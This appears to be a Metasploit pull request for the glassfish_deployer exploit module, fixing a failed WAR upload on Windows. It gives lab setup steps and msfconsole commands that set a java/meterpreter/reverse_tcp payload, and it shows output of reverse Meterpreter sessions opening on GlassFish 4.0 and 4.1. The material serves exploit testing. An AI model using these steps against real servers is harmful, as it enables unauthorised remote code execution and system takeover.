Fix #7247, Glassfish failing to upload the war file on Windows setups

[wchen-r7]

What This Patch Does

This patch fixes a problem in exploits/multi/http/glassfish_deployer. On Windows setups, the Glassfish module fails to upload the war file due to some missing fields in the HTTP POST request. However, this does not actually affect Linux setups even with the same Java version or GlassFish version.

Fix #7247

Verification for Linux

• Get a clean Ubuntu box
• On the Ubuntu box, install Java like this: sudo apt-get install default-jdk, this should get you JDK8.
• Download GlassFish 4.0
• Unzip glassfish-4.0, navigate to the bin directory, and then start asadmin
• In the asadmin console, do start-domain domain1. This will start GlassFish.
• Still on the Ubuntu box, open http://localhost:4848 with a browser
• On on the left menu, click on "Domain"
• On the right, click on "Administrator password"
• Set a new password for admin
• On the left menu, click on "server (Admin server)"
• On the right, click on the "Secure Administrator" button
• Click on "Enable Secure Admin"
• You will have to wait for up to a minute to make sure Glassfish is up and running again. You can check this by checking port 4848.

At this point, you are ready to test the module:

• Start msfconsole
• Do: use exploit/multi/http/glassfish_deployer
• Do: set RHOST [IP to GlassFish]
• Do: set PASSWORD [password to admin]
• Do: set SSL true
• Do: set target 1
• Do: set payload java/meterpreter/reverse_tcp
• Do: set LHOST [YOUR IP ADDRESS]
• Do: exploit
• You should get a session like the following:

msf exploit(glassfish_deployer) > run

[*] Started reverse TCP handler on 192.168.146.1:4444 
[*] Glassfish edition: GlassFish Server Open Source Edition  4.0
[*] Trying to login as admin:sploit
[*] Uploading payload...
[*] Successfully uploaded
[*] Executing /goTKJKUgGDWQ59unsbqG0g0W9a9a/ba05giTjZqnIEGi.jsp...
[*] Sending stage (46112 bytes) to 192.168.146.174
[*] Meterpreter session 4 opened (192.168.146.1:4444 -> 192.168.146.174:38476) at 2016-08-30 16:06:45 -0500
[*] Getting information to undeploy...
[*] Undeploying goTKJKUgGDWQ59unsbqG0g0W9a9a...
[*] Sending stage (46112 bytes) to 192.168.146.174
[*] Meterpreter session 5 opened (192.168.146.1:4444 -> 192.168.146.174:38402) at 2016-08-30 16:07:04 -0500
[*] Undeployment complete.

meterpreter >

Verification for Windows

• Get a Windows 7 box
• Install Java: http://download.oracle.com/otn-pub/java/jdk/8u101-b13/jdk-8u101-windows-i586.exe?AuthParam=1472235169_3aabd6e7d83a0093feb195ec4351bda4
• Download GlassFish 4.1
• Unzip glassfish-4.1, navigate to the bin directory, and then start asadmin.bat
• In the asadmin console, do start-domain domain1. This will start GlassFish.
• Still on the Windows box, open http://localhost:4848 with a browser
• On on the left menu, click on "Domain"
• On the right, click on "Administrator password"
• Set a new password for admin
• On the left menu, click on "server (Admin server)"
• On the right, click on the "Secure Administrator" button
• Click on "Enable Secure Admin"
• You will have to wait for up to a minute to make sure Glassfish is up and running again. You can check this by checking port 4848.

And then at that point, you are ready to test the module:

• Start msfconsole
• Do: use exploit/multi/http/glassfish_deployer
• Do: set RHOST [IP to GlassFish]
• Do: set PASSWORD [password to admin]
• Do: set SSL true
• Do: set target 1
• Do: set payload java/meterpreter/reverse_tcp
• Do: set LHOST [YOUR IP ADDRESS]
• Do: exploit
• You should get a session like the following:

msf exploit(glassfish_deployer) > run

[*] Started reverse TCP handler on 192.168.146.1:4444 
[*] Glassfish edition: GlassFish Server Open Source Edition  4.1
[*] Trying to login as admin:sploit
[*] Uploading payload...
[*] Successfully uploaded
[*] Executing /jUYou3/eukJz1.jsp...
[*] Sending stage (46112 bytes) to 192.168.146.165
[*] Meterpreter session 6 opened (192.168.146.1:4444 -> 192.168.146.165:55916) at 2016-08-30 16:14:05 -0500
 [*] Getting information to undeploy...
[*] Undeploying jUYou3...
[*] Undeployment complete.

meterpreter > 

[tdoan-r7]

Release Notes

This patch fixes a problem in exploits/multi/http/glassfish_deployer. On Windows setups, the Glassfish module fails to upload the war file due to some missing fields in the HTTP POST request. However, this does not actually affect Linux setups even with the same Java version or GlassFish version.